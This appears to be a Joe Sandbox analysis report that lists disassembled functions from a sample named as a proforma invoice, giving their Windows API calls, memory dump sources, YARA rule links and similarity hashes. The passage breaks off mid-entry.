Function 004956D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00495783
GetLastError.KERNEL32(?,00000000), ref: 004957A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 004957CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 004957FA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d916f67ef3df59a166be62658cb0d740e59ee1474cd853f9b190e4c922489eb3
Instruction ID: c669df5704f72fa891aa3dd95937545812132123a14b359513d21d7a1adcef73
Opcode Fuzzy Hash: d916f67ef3df59a166be62658cb0d740e59ee1474cd853f9b190e4c922489eb3
Instruction Fuzzy Hash: 4F416035700610DFCB11EF55D584A1EBBE1EF49318B598499E84A6B361CB38FD40CB95

Function 0045D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,00446D71,00000000,00000000,004482D9,?,004482D9,?,00000001,00446D71,?,00000001,004482D9,004482D9), ref: 0045D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0045D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0045D9AB
__freea.LIBCMT ref: 0045D9B4

Part of subcall function 00453820: RtlAllocateHeap.NTDLL(00000000,?,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6,?,00421129), ref: 00453852

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 9457dccf3b8321d48c7204193e2fedc9ef839dc887097d9e6e0a7a5edabd7917
Instruction ID: f8d308ad01f2f33b2b8a5df883c787780ab5ba330c8c03114524331aca9c03d4
Opcode Fuzzy Hash: 9457dccf3b8321d48c7204193e2fedc9ef839dc887097d9e6e0a7a5edabd7917
Instruction Fuzzy Hash: 0731A2B2A0020AABDF24DF65DC81EAF7BA5EF41311F05416AFC04D6252EB39CD58CB94

Function 004B52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 004B5352
GetWindowLongW.USER32(?,000000F0), ref: 004B5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004B5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004B53A8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: f33e63b42cd8f4051f213b01eb4eaaadcc599b0b66d42fcad99f1bdd37d20f6a
Instruction ID: 0e6be3fb93005571dbf625096ca755da9f062133771ba449ee602e294daacbc5
Opcode Fuzzy Hash: f33e63b42cd8f4051f213b01eb4eaaadcc599b0b66d42fcad99f1bdd37d20f6a
Instruction Fuzzy Hash: 9D31E330A55A08EFEF309E14DC45FEAB7E1AB04390F586113BE00963E0C3BD9991D76A

Function 0048AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 0048ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0048AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0048AC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 0048ACC6

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ae933521faa7089b24bf4fc7925217221ef43c815738b662581163de69c6636e
Instruction ID: 06309ff33da90795a22d353672351e6ec802fa2cd1cb28ad035d0b17f13bfa76
Opcode Fuzzy Hash: ae933521faa7089b24bf4fc7925217221ef43c815738b662581163de69c6636e
Instruction Fuzzy Hash: 98311870A006186FFB35EB658848BFF7BA5AB45310F084B1BE481522D0C3BD89A1875A

Function 004B7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004B769A
GetWindowRect.USER32(?,?), ref: 004B7710
PtInRect.USER32(?,?,004B8B89), ref: 004B7720
MessageBeep.USER32(00000000), ref: 004B778C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: c5cab7f38cb4b9fa88fbec202baf95c282a0d5e32bf9de60be190ba4343e86b1
Instruction ID: e8618f4d2f749d5fe1c815d1b6152c9bcd229f3e0189e84d5168ab5000a5e89d
Opcode Fuzzy Hash: c5cab7f38cb4b9fa88fbec202baf95c282a0d5e32bf9de60be190ba4343e86b1
Instruction Fuzzy Hash: F5418D74609214DFCB11CF59C894EE977F4FB88314F1541AAE4159B361CB78B942CFA8

Function 004B16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004B16EB

Part of subcall function 00483A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00483A57
Part of subcall function 00483A3D: GetCurrentThreadId.KERNEL32 ref: 00483A5E
Part of subcall function 00483A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004825B3), ref: 00483A65

GetCaretPos.USER32(?), ref: 004B16FF
ClientToScreen.USER32(00000000,?), ref: 004B174C
GetForegroundWindow.USER32 ref: 004B1752

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: c9975b9f9cac0f7070dd10f55953013153ca97af8349009b070d0191633d3171
Instruction ID: 184c7456119d58fffb0fe43f420fe7d621110ba106e8e589ebc2ae7b67f42ee1
Opcode Fuzzy Hash: c9975b9f9cac0f7070dd10f55953013153ca97af8349009b070d0191633d3171
Instruction Fuzzy Hash: 8F315271E00159AFC700EFAAD8C1DEEB7F9EF48308B50406EE415E7211DA359E45CBA4

Function 0048D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0048D501
Process32FirstW.KERNEL32(00000000,?), ref: 0048D50F
Process32NextW.KERNEL32(00000000,?), ref: 0048D52F
CloseHandle.KERNEL32(00000000), ref: 0048D5DC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 48211cb80e5d250e8a268953dd64c1ce28d0f1851784cda0b4019366f0b52ffd
Instruction ID: a0de815822e9480619cea1a073aa7c8eddbfb123211e31eb7355c880155afbd4
Opcode Fuzzy Hash: 48211cb80e5d250e8a268953dd64c1ce28d0f1851784cda0b4019366f0b52ffd
Instruction Fuzzy Hash: 2831C471508300AFD300EF55D8C1AAFBBF8EF99348F54092EF581921A1EB759948CB96

Function 004B8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

GetCursorPos.USER32(?), ref: 004B9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00477711,?,?,?,?,?), ref: 004B9016
GetCursorPos.USER32(?), ref: 004B905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00477711,?,?,?), ref: 004B9094

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 2042b122bee4bedd48dfa86b67cda9ba5bdd2a320e7ca808fcba453ebec5cacd
Instruction ID: 6613b867b8a4de51f150d749f9c6bf061b01b5b977dabcd9ab291559f9ea9f78
Opcode Fuzzy Hash: 2042b122bee4bedd48dfa86b67cda9ba5bdd2a320e7ca808fcba453ebec5cacd
Instruction Fuzzy Hash: 28218D35600018FFCB259F94C898EFB7BB9EB4A350F14416AFA0547261C3799D60DB64

Function 0048D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,004BCB68), ref: 0048D2FB
GetLastError.KERNEL32 ref: 0048D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0048D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,004BCB68), ref: 0048D376

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: e9f23aee3665371ce93f30f9370e9a499ad6a424542d6c10d3666d003378992c
Instruction ID: de382b2a10fe0210150a9e9c9afb366803306e0f6e8a128d786eda0028050853
Opcode Fuzzy Hash: e9f23aee3665371ce93f30f9370e9a499ad6a424542d6c10d3666d003378992c
Instruction Fuzzy Hash: FB2182709092019F8700EF25D88146FB7E4AE5A368F504E2EF899C72E1D7349946CB9B

Function 00481571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00481014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0048102A
Part of subcall function 00481014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00481036
Part of subcall function 00481014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00481045
Part of subcall function 00481014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0048104C
Part of subcall function 00481014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00481062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 004815BE
_memcmp.LIBVCRUNTIME ref: 004815E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00481617
HeapFree.KERNEL32(00000000), ref: 0048161E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: d9efd31d00b4ef152e7009c2a5e8d5021ca0b0d45118335ae36414df67d373a5
Instruction ID: 30ed0c53dc8b00ed638d413b024ec899f5cad5f42378d9621da02af680d24350
Opcode Fuzzy Hash: d9efd31d00b4ef152e7009c2a5e8d5021ca0b0d45118335ae36414df67d373a5
Instruction Fuzzy Hash: EF217C71E40108EFDB00EFA4C985BEEB7B8EF44344F08485AE441AB251E734AA06CBA4

Function 004B2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 004B280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004B2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004B2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 004B2840

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 5de68c3e463a0b5f99ec606ed4d7a7a1026b02b9902be60184c8ff642ccd74d6
Instruction ID: 2db9a25236aa46288435b735dd4e31b1ea17117cd66de86a50de21ee9ec6e14d
Opcode Fuzzy Hash: 5de68c3e463a0b5f99ec606ed4d7a7a1026b02b9902be60184c8ff642ccd74d6
Instruction Fuzzy Hash: E321B531204511BFD7149B24C984FAA7755AF45328F14425AF4268B6D2CBB9FC42C7E8

Function 004878F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00488D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0048790A,?,000000FF,?,00488754,00000000,?,0000001C,?,?), ref: 00488D8C
Part of subcall function 00488D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00488DB2
Part of subcall function 00488D7D: lstrcmpiW.KERNEL32(00000000,?,0048790A,?,000000FF,?,00488754,00000000,?,0000001C,?,?), ref: 00488DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00488754,00000000,?,0000001C,?,?,00000000), ref: 00487923
lstrcpyW.KERNEL32(00000000,?), ref: 00487949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00488754,00000000,?,0000001C,?,?,00000000), ref: 00487984

Strings

cdecl, xrefs: 0048797B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: a9ba31d5ed7a5fadf55909c2b5b0107ea9924743dda4032b795e8ec8f5bae7b5
Instruction ID: 7f5926e7357e3536081469194d913d4d4ae6c4b81fd1643ca09f12e811ec1d6e
Opcode Fuzzy Hash: a9ba31d5ed7a5fadf55909c2b5b0107ea9924743dda4032b795e8ec8f5bae7b5
Instruction Fuzzy Hash: 9C11E47A200202ABDB15AF39C895E7F77A9EF45394B50442FE842C7365EB35D801C759

Function 004B5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 004B56BB
_wcslen.LIBCMT ref: 004B56CD
_wcslen.LIBCMT ref: 004B56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 004B5816

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: f2599779d53c206d1e114f21a0529219c9104954eb086b883cecc2307d5863a2
Instruction ID: 022dbdf3068df7d3ad6fe211184b168dadec6c6da3fc42438481b9884a59d630
Opcode Fuzzy Hash: f2599779d53c206d1e114f21a0529219c9104954eb086b883cecc2307d5863a2
Instruction Fuzzy Hash: 3F11B471600608AADB20EF658C85BEFB77CEF20764F10412BF915D6181EB788985CB79

Function 00481A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00481A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00481A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00481A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00481A8A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: e7afcce0c5e6d0bd1cd1f8f0790d36536dce0635a0a0b696a7f2e4d61bc3c2b3
Instruction ID: 17f29cfd9b347f90bad695763cfc3c9acfc7f2e2d34679ac7f7349a17687473d
Opcode Fuzzy Hash: e7afcce0c5e6d0bd1cd1f8f0790d36536dce0635a0a0b696a7f2e4d61bc3c2b3
Instruction Fuzzy Hash: FA113C3AD01219FFEB11DBA5CD85FADBB78EB08750F200492E610B7290D6716E51DB98

Function 0048E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0048E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0048E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0048E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0048E24D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 51f4cbf7a6ce11ceba81c30193d59b9e2d8b3fde74bb8a8f232a1ac28ba39f3a
Instruction ID: 32ae2fb48bfcd29af9fcba0a2de481cac6dffb03f7578fafceec169fca78f6c5
Opcode Fuzzy Hash: 51f4cbf7a6ce11ceba81c30193d59b9e2d8b3fde74bb8a8f232a1ac28ba39f3a
Instruction Fuzzy Hash: D1110872904214FBD701AFA99C85AAF7FADAB45310F104776F814E32A1D6B48D1087A8

Function 0044D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0044CFF9,00000000,00000004,00000000), ref: 0044D218
GetLastError.KERNEL32 ref: 0044D224
__dosmaperr.LIBCMT ref: 0044D22B
ResumeThread.KERNEL32(00000000), ref: 0044D249

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 4bf0ea85e7e37efefc6af16c449324472e4c3ae72031332e3e026429e639588d
Instruction ID: 440429aa2624c5baef7450877472a1b924df2ecfb66f1cfdd2f9ee9b23403568
Opcode Fuzzy Hash: 4bf0ea85e7e37efefc6af16c449324472e4c3ae72031332e3e026429e639588d
Instruction Fuzzy Hash: FB012632C051047BEB105BA6DC49BAF7A68EF81334F10036BF824921D0CFB9C805C6A9

Function 0042600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0042604C
GetStockObject.GDI32(00000011), ref: 00426060
SendMessageW.USER32(00000000,00000030,00000000), ref: 0042606A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

